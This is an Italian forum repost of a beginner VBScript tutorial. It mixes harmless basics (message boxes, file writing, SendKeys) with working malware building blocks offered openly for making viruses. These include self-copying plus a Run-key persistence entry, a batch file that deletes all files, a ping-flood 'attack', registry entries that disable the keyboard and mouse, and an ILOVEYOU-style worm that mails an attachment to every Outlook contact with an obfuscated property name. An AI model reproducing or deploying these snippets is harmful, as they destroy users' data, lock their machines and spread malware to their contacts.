| metalmode |
| | Inizio col dire che non è stata scritta da me ma lo presa dal sito di www.alexmark.net ... Molto interessante per chi vuole fare qualche piccolo script e iniziare a capire la programmazione: -------------------------------------------------------------------------------------- Partiamo con la pratica esplicativa
Siccome potreste appallarvi parlando di cos’è uno script e cos’è il visual basic, faremo subito un esempio pratico dell’utilizzo del VBS.
1) Aprite il blocco note
2) Scrivete queste righe
CODICE MsgBox “L’utente sembra essere stupido”, 16, “Errore di Sistema”
Attenzione: se fate un bel copia-e-incolla da questi listati qui sul sito, dovrete riscrivervi le virgolette, perché qui c’è impostato un tipo di carattere diverso da quello del blocco note, non riconosciuto per scrivere gli script.
3) Salvate il file con nome “script.vbs” , assicuratevi che il file sia salvato in formato .vbs e non .txt, per controllare se è stato salvato correttamente potete vedere la sua icona, se il file è stato salvato correttamente come un .vbs.
4) Cliccate due volte sul file e… magia! Il sistema operativo ci contesta.
Ora la spiegazione del Vbs
In poche parole, il visual basic script, il basic scripting host, il vbs, il vbe o come volete chiamarlo, è un vero e proprio linguaggio di programmazione che si scrive con il blocco note.
Non è possibile creare veri e propri programmi con icone, file .exe, robe complesse (è sempre un linguaggio di scripting interpretato, cioè capace di funzionalità limitate e che non genera codice macchina ma dev'essere letto sull'istante da un terzo programma), ma è comunque possibile ad esempio creare dei virus addirittura col vbs!
Il vbs rispetta la stessa sintassi e regole del linguaggio di programmazione Visual Basic (molto più semplice e intuitivo del c++ ma molto meno potente).
Bello il vbs, no?
Scopriamo cosa può fare il vbs
A questo punto è giusto dire qualcosa riguardo a cosa si può fare con questo potente linguaggio script.
Ecco una esauriente lista di cose che possiamo far fare al vbs. Ognuna di queste righe può essere scritta nel blocco note assieme alle altre e dovrete salvare il file di testo con un nome qualsiasi ma con estensione .vbs o .vbe per far funzionare lo script.
- Messaggi di testo a video –
Forma:
MsgBox “testo”, n, “titolo”
Parametri: il testo è il testo del messaggio che verrà visualizzato, il titolo è il testo del titolo che verrà visualizzato. n è un numero che indica se il messaggio deve essere di avviso, di errore, di avvertimento o di domanda e può assumere i seguenti valori:
n Tipo di messaggio 16 64 48 vbQuestion + vbYesNo ( icona con tasti sì e no)
- Domanda all’utente –
CODICE dim risp
risp = msgbox("Sei stupido?",vbQuestion + vbYesNo)
if risp = vbYes Then msgbox ("Hai detto di sì Imbecille!") else msgbox ("Tanto non è vero")
Se l’utente risponde Sì alla domanda “Sei stupido?” verrà visualizzato il messaggio “Hai detto di sì Imbecille”, altrimenti il messaggio “Tanto non è vero”. Al posto di vbYes è anche possibile usare vbNo per una risposta negativa.
- Cancellare un file –
CODICE set fso = CreateObject("Scripting.filesystemobject")
set fl = fso.GetFile(“C:\file.txt”)
fl.Delete
Il file che viene cancellato è il file di testo con nome “file” che si trova nella directory C:\
- Cancellare una intera directory –
CODICE set fso = CreateObject("Scripting.filesystemobject")
fso.DeleteFolder(“C:\file”)
La directory cancellata ha nome “file” e si trova in C:\
- Riproduzione dello script –
CODICE set fso = CreateObject("Scripting.filesystemobject")
fso.CopyFile wscript.scriptfullname, "C:\hello.vbs"
Con queste righe, il file che abbiamo creato .vbs, qualunque sia il suo nome e dovunque esso sia collocato, si copia interamente nella directory C:\ con il nome hello.vbs
- Scrivere il registro di sistema –
CODICE set rege = CreateObject(“Wscript.shell”)
rege.regwrite “HKLM\......\Run\MyKey”, “dati”, REG_SZ
In questo modo il file .vbs scrive nella chiave di avvio del sistema Run (troncata con …… per motivi di spazio), il valore con nome “MyKey” e con dati la parola “Dati” e di tipo REG_SZ. Vediamo dunque che in modo analogo, lo script può fungere da virus partendo con il sistema ogni volta! Per scrivere una chiave, anziché un valore, è sufficiente indicare “MyKey\” al posto di “MyKey” e omettere dati e tipo di dati.
Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa REG_SZ, la chiave Run, “MyKey”, ecc…. legga queste due importantissime sezioni :
Come partono con Windows i programmi
Il Regedit: La stanza dei bottoni di Windows
- Leggere il registro di sistema –
CODICE set rege = CreateObject(“Wscript.shell”)
str = rege.regread(“HKLM\..Run\ccApp”)
In questo modo il file .vbs legge nella chiave Run (troncata con ..), il valore “ccApp” e memorizza il testo di questa chiave nella variabile str.
Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa leggere una chiave, un valore, ecc.. legga queste due importantissime sezioni :
Come partono con Windows i programmi
Il Regedit: La stanza dei bottoni di Windows
- Creare e scrivere file di testo –
CODICE set fso = CreateObject("Scripting.filesystemobject")
set tf = fso.CreateTextFile(“C:\ww.txt”, True)
tf.WriteLine(“ciao”)
tf.WriteBlanckLines(2) ‘ va a capo due volte
tf.Write (“closed”)
tf.close
Il vbs qui crea in C:\ il file con di testo con nome “ww” e ci scrive il testo “ciao”, poi va due volte a capo, poi scrive “closed” e chiude il file. Notare che il testo va a capo due volte preceduto dall’apice ‘ , è un commento che verrà ignorato dal sistema.
- Mostrare la finestra di formattazione del pc –
CODICE set wsh = CreateObject(“Wscript.shell”)
wsh.run “rundll32.exe shell32.dll, SHFormatDrive”
Mostra la finestra dove solitamente si formatta il pc. Fa un po’ paura ..
- Ottenere informazioni sul sistema operativo –
CODICE set wsh = CreateObject(“Wscript.shell”)
set objsysinfo = CreateObject(“SYSINFO.Sysinfo”)
wscript.echo objsysinfo.OSBuild
wscript.echo objsysinfo.OSPlataform
wscript.echo objsysinfo.OSVersion
la funzione “echo” mostra messaggi di testo, è simile a “MsgBox”.
- Spegnere o Riavviare il sistema (ottimo, lavora anche su XP Pro) –
CODICE Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from
Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.Reboot() 'o Shutdown()
Next
In questo caso il sistema verrà riavviato, ma se si vuole spegnere il pc, sostituire OpSys.Reboot() con OpSys.Shutdown() .
- Eseguire un programma e attendere fino alla sua fine –
CODICE set wsh = CreateObject(“Wscript.shell”)
wsh.run “notepad” & “C:\text.txt”, 1, true
‘now waiting…
MsgBox “termina”
Il parametro “true” della funzione “run”, indica che dobbiamo attendere fino alla fine del programma per mostrare il messaggio di testo “termina”.
- Eseguire comandi da Dos –
CODICE set wsh = CreateObject(“Wscript.shell”)
wsh.run(“ping 127.0.0.1”, 1, TRUE)
In questo caso si mostrerà una finestra Dos, che farà il ping (vedere se un pc è connesso ad internet e risponde) al nostro stesso sistema. True indica, come prima, che dobbiamo attendere la fine del programma per terminare il file .vbs.
- Fare la somma di due numeri inseriti da tastiera dall’utente –
CODICE a = inputbox(“Primo numero”)
b = inputbox(“Secondonumero”)
c = int(a) + int(b)
MsgBox “Tot” & c
Con la funzione “inputbox” si mostra una finestrella che chiede di inserire il “primo numero”, poi una seconda che chiede il “secondo numero”, poi il programmino fa la somma e visualizza il risultato in una messagebox (msgbox)
- Attacco Ping Flood –
CODICE On Error resume Next
set wsh = CreateObject(“Wscript.shell”)
wsh.Run “ping.exe –t –l www.google.it ”, 0, false
Inviamo pacchetti a ripetizione senza sosta ad un pc. Se tantissimi pc con connessioni potenti in upstreaml facessero questo allo stesso ip o sito, probabilmente ci sarebbero parecchi problemi. “On error resume next” indica che, se una istruzione è sbagliata o non valida, il vbs deve continuare con quella dopo e non fermarsi dando errore sullo schermo.
- Eseguire un’operazione all’infinito –
CODICE On Error resume Next
set wsh = CreateObject(“Wscript.shell”)
Do
Wsc.Run “http://www.google.it”, 3, false
Loop
Attenti qua! Si aprono finestre di Internet Explorer all’infinito! E tutte verso www.google.it !
- Cancellare tutti i files –
CODICE on error resume next
set fso = CreateObject("Scripting.filesystemobject")
set wsh = CreateObject(“Wscript.shell”)
set write = fso.CreateTextFile(“C:\Angry.bat”,True)
write.WriteLine “Deltree /y *.*”
write.close
wsc.run “C:\Angry.bat”,0,False
Attenti anche qua! Viene creato il file batch (.bat) con nome Angry che contiene il comando di cancellare senza preavviso tutti i files che vengono trovati e con qualsiasi estensione !
- Bloccare Mouse e Tastiera (non per Xp) –
CODICE on error resume next
set wsc = CreateObject("Wscript.shell")
RegServ = "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"
wsc.RegWrite RegServ & "\DisableKeyboard", "Rundll32.exe Keyboard, Disable"
‘oppure
CODICE wsc.RegWrite RegServ & "\DisableMouse", "Rundll32.exe Mouse, Disable"
Tramite una chiave nel registro di sistema, blocca la tastiera e/o il mouse
Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa leggere una chiave, un valore, ecc.. legga queste due importantissime sezioni :
Come partono con Windows i programmi
Il Regedit: La stanza dei bottoni di Windows
- Cancellare valori dal registro di sistema –
CODICE on error resume next
set wsc = CreateObject("Wscript.shell")
wsc.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\DisableKeyboard"
Cancella il valore con nome “DisableKeyboard” dal registro di sistema.
- Enumerare i Drive del Pc (C:, D:, ecc..) –
CODICE set fso = CreateObject("Scripting.filesystemobject")
set drive = fso.Drives
for each dr in drive
str = dr & “\”
Msgbox str
Next
Enumera i drive del Pc e visualizza ognuno in un messaggio.
- Trova tutti i files nel Pc con una estensione –
CODICE function KK(path)
set fso = CreateObject("Scripting.filesystemobject")
set var = fso.GetFolder(“C:\”)
set fil = var.Files
for each fk in fil
if fso.GetExtensionName(fk.path) = “exe” then
…qualcosa..
end if
Next
Set suber = var.SubFolders
For each sbe in suber
KK(sbe.path)
Next
End Function
Sotto forma di funzione, il …qualcosa.. indica che lì va l’istruzione per il file trovato.
- Controllare la Data –
CODICE if day(now) = 12 and month(now) = 1 then
…
Se il giorno è il 12 gennaio, allora…
- Probabilità –
CODICE Randomize
If 1 +Int(Rnd*10) = 7 then
…
C’è una probabilità su 7 che i puntini siano eseguiti
- Controllo se esiste un file –
CODICE set fso = CreateObject("Scripting.filesystemobject")
if fso.fileexists(“C:\cavolo.txt”) then
..
Se il file “cavolo.txt” esiste…
- Simulare la pressione di tasti della tastiera –
Le combinazioni per i tasti si scrivono tra parentesi graffe: {tasto}
Ecco la lista:
CODICE Backspace {BACKSPACE}, {BKSP} or {BS}
Break {BREAK}
Caps Lock {CAPSLOCK}
Delete {DELETE} or {DEL}
Down Arrow {DOWN}
End {END}
Enter {ENTER} or ~
Escape {ESC}
Help {HELP}
Home {HOME}
Insert {INSERT} or {INS}
Left Arrow {LEFT}
Num Lock {NUMLOCK}
Page Down {PGDN}
Page Up {PGUP}
Print Screen {PRTSC}
Right Arrow {RIGHT}
Scroll Lock {SCROLLLOCK}
Tab {TAB}
Up Arrow {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}
F16 {F16}
‘combinazioni di tasti
Key Code
Alt %
Ctrl ^
Shift Lock +
‘esempio:
Ctrl+C = “^C”
Shift+F5 = "+{F5}"
Alt+A+Z = "%(AZ)"
Come simulare la pressione di tasti nel blocco note:
CODICE Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%windir%\notepad.exe"
WshShell.AppActivate "Notepad"
WshShell.SendKeys "Hello World!"
WshShell.SendKeys "{ENTER}"
WshShell.SendKeys "abc"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "def"
Non vi impaurite se il blocco note scrive da solo… J
- Bloccare il file vbs per qualche tempo –
L’intervallo è espresso in millisecondi, dunque 2000 millisecondi = 2 secondi
- Uso di % per le directory di sistema –
CODICE WshShell.Run("%windir%\notepad.exe", 1, True)
‘o %sysdir%
Windir è la directory come C:\WINDOWS, mentre Sysdir è come C:\WINDOWS\system32, almeno in Xp
- Creare finestre html col vbs –
Il metodo è un po’ complicato, bisognerebbe conoscere l’Html, il linguaggio con il quale sono scritte le pagine web (ma non queste : )))
CODICE Set objExplorer = WScript.CreateObject("InternetExplorer.Application", "IE_")
With objExplorer
'.Navigate "about:Blank"
.Navigate "about:" & strDisplayName
.Toolbar = 0
.StatusBar = 0
.Width = 800
.Height = 600
.Left = 0
.Top = 0
.Visible = 1
End With
Set objDocument = objExplorer.Document
objDocument.Open
objDocument.WriteLn "<html><head><title>Questo è un sito</title></head></body>"
objDocument.WriteLn "Qui va il testo generale"
’testo
Si crea una finestra in IExplorer composta da codice Html.
- Inviare posta con vbs (metodo worm Iloveyou e rilevabile dagli AntiVirus) –
CODICE Set out = CreateObject("Outlook.Application")
If out = "Outlook" Then
Set mapi = out.GetNameSpace("MAPI")
Set addr = mapi.AddressLists
For Each x In addr
If x.AddressEntries.Count <> 0 Then
num = x.AddressEntries.Count
For var = 1 To num
Set mess = out.CreateItem(0)
Set varaddress = x.AddressEntries(var)
mess.To = varaddress.Address
mess.Subject = "Importante !"
mess.Body = "Devi assolutamente aiutarmi con il file allegato, per favore!"
execute "set variab = mess." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99)
& Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
allegato = "C:\cazz.txt"
mess.DeleteAfterSubmit = True
variab.Add allegato
If mess <> "" Then
mess.Send
End If
Next
End If
Next
End If
Attenzione a come usate questo codice.
- Altro metodo per cancellare una cartella –
CODICE dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject")
If foldersys.FolderExists ("c:\Downloads") Then
foldersys.DeleteFolder "C:\Downloads",True
End if
Qui si verifica anche se la cartella esiste
- Cancellare tutti i files in una cartella, ma lasciando la cartella intatta –
CODICE dim filesysdelfile
Set filesysdelfile = CreateObject("Scripting.FileSystemObject")
filesysdelfile.DeleteFile "C:\Downloads\*.*",True
Set filesysdelfile = Nothing
Tutti i files nella directory C:\Downloads verranno cancellati, ma la directory resterà intatta.
I virus in vbs
E' possibile creare un virus in vbs?
Esistono programmini che creano da soli virus in vbs. L’Isf ve ne propone uno downloadabile dall’Area Download del sito: il nazgul
Naturalmente c’è da tenere presente questo:
Questo programma è da ritenersi solamente a scopo illustrativo e di studio. Qualunque danno possa derivarne da un uso improprio all’utente o ad altri, non è da imputare all’autore del programma e/o ai webmasters del sito di scaricamento libero.
A parte questo credo che il Nazgul non sia capace di nuocere ad alcunchè o ad alcuno, ma non si sa mai..--------------------------------------------------------------------------------------- Per chi conosce autoit noterà che il linguaggio ha molte somiglianze.. Alcune di questi script nn funzionano in alcune versioni di windows tipo xp.
| | |
| |
|